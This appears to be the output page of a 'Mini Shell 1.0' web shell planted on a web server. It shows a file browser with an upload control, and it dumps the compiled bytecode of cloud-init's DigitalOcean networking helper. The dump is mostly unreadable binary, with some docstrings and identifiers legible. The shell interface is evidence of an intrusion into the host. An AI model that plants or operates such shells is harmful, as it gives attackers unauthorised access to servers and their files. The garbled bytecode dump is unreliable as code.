HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/digitalocean.cpython-311.pyc
�

܍~cr���ddlZddlZddlmZddlmZddlmZddlmZm	Z	m
Z
ddd�Zeje
��Zdd	�Zd
�Zdd�Zd�Zdd�Zd�ZdS)�N)�dmi)�log)�net)�subp�
url_helper�util�eth0�eth1)�public�privatec�v�|s*t|��}t�d|��|std���d�tjdd��tjdd����}dd	d
|d|g}ddd
d|dg}tjd��std���	tj|��t�d||��tj|��t�d|��n+#t$rtjtd||���wxYw|S)z�Bring up NIC using an address using link-local (ip4LL) IPs.
    On DigitalOcean, the link-local domain is per-droplet routed, so there
    is no risk of collisions. However, to be more safe, the ip4LL
    address is random.
    z,selected interface '%s' for reading metadatazPunable to find interfaces to access themeta-data server. This droplet is broken.z169.254.{0}.{1}/16��r��ip�addr�add�dev�link�set�upz4No 'ip' command available to configure ip4LL addressz#assigned ip4LL address '%s' to '%s'zbrought device '%s' upzRip4LL address assignment of '%s' to '%s' failed. Droplet networking will be broken)�get_link_local_nic�LOG�debug�RuntimeError�format�random�randintr�which�	Exceptionr�logexc)�distro�nicr�ip_addr_cmd�ip_link_cmds     �H/usr/lib/python3/dist-packages/cloudinit/sources/helpers/digitalocean.py�assign_ipv4_link_localr'sl���G� ��(�(���	�	�@�#�F�F�F��
��
8�
�
�	
�
 �&�&���q�#�����q�#� 6� 6���D�����e�S�9�K�����s�D�9�K��:�d���
��B�
�
�	
�
��	�+�����	�	�7��s�C�C�C��	�+�����	�	�*�C�0�0�0�0���������
1���	
�	
�	
�	������Js
�.AD�(D6c�n���fd�tj��D��}|sdSt|d����S)Nc�H��g|]}�j�|���|��S�)�
networking�is_physical)�.0�fr"s  �r&�
<listcomp>z&get_link_local_nic.<locals>.<listcomp>Bs@������
���(�(��+�+��	����c�,�tj|d��S)N�ifindex)�cloudnet�read_sys_net_int)�ds r&�<lambda>z$get_link_local_nic.<locals>.<lambda>Is��8�#<�Q�	�#J�#J�r0)�key)r3�get_devicelist�min)r"�nicss` r&rrAsZ��������(�*�*����D�
���t��t�J�J�K�K�K�Kr0c�L�|st�d��dSt�d��dddd|g}	tj|��t�d|��dS#t$r'}t	jtd	||��Yd}~dSd}~wwxYw)
zwRemove the ip4LL address. While this is not necessary, the ip4LL
    address is extraneous and confusing to users.
    zLno link_local address interface defined, skipping link local address cleanupNzcleaning up ipv4LL addressrr�flushrzremoved ip4LL addresses from %sz)failed to remove ip4LL address from '%s'.)rrrr rr!)r#r$�es   r&�del_ipv4_link_localr>Ls������	�	�
$�	
�	
�	
�	���I�I�*�+�+�+����%��5�K�N��	�+�����	�	�3�S�9�9�9�9�9���N�N�N���C�D�c�1�M�M�M�M�M�M�M�M�M�����N���s�/A2�2
B#�<B�B#c��d�}g}tj��}t�d|��|D�]l}||d}t�d|��|�d��}||vrtd|�d|�����|�|��}|�dd	��}	t�|	|��}
|
|krt�d
|	|||
��nd}t�|||��d||
d
�}g}
dD]H}|�|d��}|s�||��}|	dksd|vr|d=|
�|���I|
|d<|�|��t�d|
|����n|r3t�d|��|�d|d���d|d�S)a}Convert the DigitalOcean Network description into Cloud-init's netconfig
    format.

    Example JSON:
     {'public': [
           {'mac': '04:01:58:27:7f:01',
            'ipv4': {'gateway': '45.55.32.1',
                     'netmask': '255.255.224.0',
                     'ip_address': '45.55.50.93'},
            'anchor_ipv4': {
                     'gateway': '10.17.0.1',
                     'netmask': '255.255.0.0',
                     'ip_address': '10.17.0.9'},
            'type': 'public',
            'ipv6': {'gateway': '....',
                     'ip_address': '....',
                     'cidr': 64}}
        ],
       'private': [
           {'mac': '04:01:58:27:7f:02',
            'ipv4': {'gateway': '10.132.0.1',
                     'netmask': '255.255.0.0',
                     'ip_address': '10.132.75.35'},
            'type': 'private'}
        ]
     }
    c�>�dd|�d��|�d��d�}d|�d��vr@d�|�d��|�d����|d	<n|�d
��|d
<|S)N�static�auto�
ip_address�gateway)�type�control�addressrD�:z{0}/{1}�cidrrG�netmask)�getr)�pcfg�subparts  r&�_get_subnet_partz7convert_network_configuration.<locals>._get_subnet_part�s������x�x��-�-��x�x�	�*�*�	
�
���$�(�(�<�(�(�(�(�!*�!1�!1�����&�&�����(8�(8�"�"�G�I���"&���)�!4�!4�G�I���r0znic mapping: %srzconsidering %s�macz3Did not find network interface on system with mac 'z'. Cannot apply configuration: rE�unknownz6Found %s interface '%s' on '%s', assigned name of '%s'zfFound interface '%s' on '%s', which is not a public or private interface. Using default system naming.�physical)rE�mac_address�name)�ipv4�ipv6�anchor_ipv4�anchor_ipv6Nr�anchorrD�subnetsznic '%s' configuration: %szadded dns servers: %s�
nameserver)rErGr)�version�config)r3�get_interfaces_by_macrrrKr�NIC_MAP�append)r\�dns_serversrN�nic_configs�macs_to_nics�nr#rR�
sysfs_name�nic_type�if_name�msg�ncfgrY�netdef�
raw_subnet�sub_parts                 r&�convert_network_configurationrlcsK��:���"�K��1�3�3�L��I�I���.�.�.�
�3?�3?���Q�i��l���	�	�"�C�(�(�(��g�g�e�n�n���l�*�*��,��;�;���%���
�"�%�%�k�2�2�
��7�7�6�9�-�-���+�+�h�
�3�3���j� � ��I�I�H�����
�
�
�
�E�
�
�I�I�c�;�
�3�3�3��&��
�
����D�		%�		%�F������.�.�J��
��'�'�
�3�3�H��8�#�#�x�6�'9�'9��Y�'��N�N�8�$�$�$�$�!��Y�����4� � � ��	�	�.���>�>�>�>��K��	�	�)�;�7�7�7����L�[�I�I�J�J�J��K�0�0�0r0��c���tj||||���}|���std|z���t	j|j�����S)N)�timeout�sec_between�retrieszunable to read metadata at %s)r�readurl�okr�json�loads�contents�decode)�urlrprqrr�responses     r&�
read_metadatar{�sh���!��W�+�w����H��;�;�=�=�B��:�S�@�A�A�A��:�h�'�.�.�0�0�1�1�1r0c��tjd��}|dkrdStjd��}|rt�d|��n+d}t�|��t|���d|fS)Nzsystem-manufacturer�DigitalOcean)FNzsystem-serial-numberz8system identified via SMBIOS as DigitalOcean Droplet: %sz�system identified via SMBIOS as a DigitalOcean Droplet, but did not provide an ID. Please file a support ticket at: https://cloud.digitalocean.com/support/tickets/newT)r�
read_dmi_datarr�criticalr)�vendor_name�
droplet_idrgs   r&�read_sysinfor��s���
�#�$9�:�:�K��n�$�$��}��"�#9�:�:�J��
 ��	�	�F��	
�	
�	
�	
�
A�	�	���S�����3�����*��r0)N)rmrmrn)rur�	cloudinitrr�loggingrr3rrrr^�	getLogger�__name__rr'rr>rlr{r�r*r0r&�<module>r�s��
����
�
�
�
�������$�$�$�$�$�$�%�%�%�%�%�%�,�,�,�,�,�,�,�,�,�,���
/�
/���g���!�!��,�,�,�,�^L�L�L�N�N�N�N�.k1�k1�k1�\2�2�2�2�����r0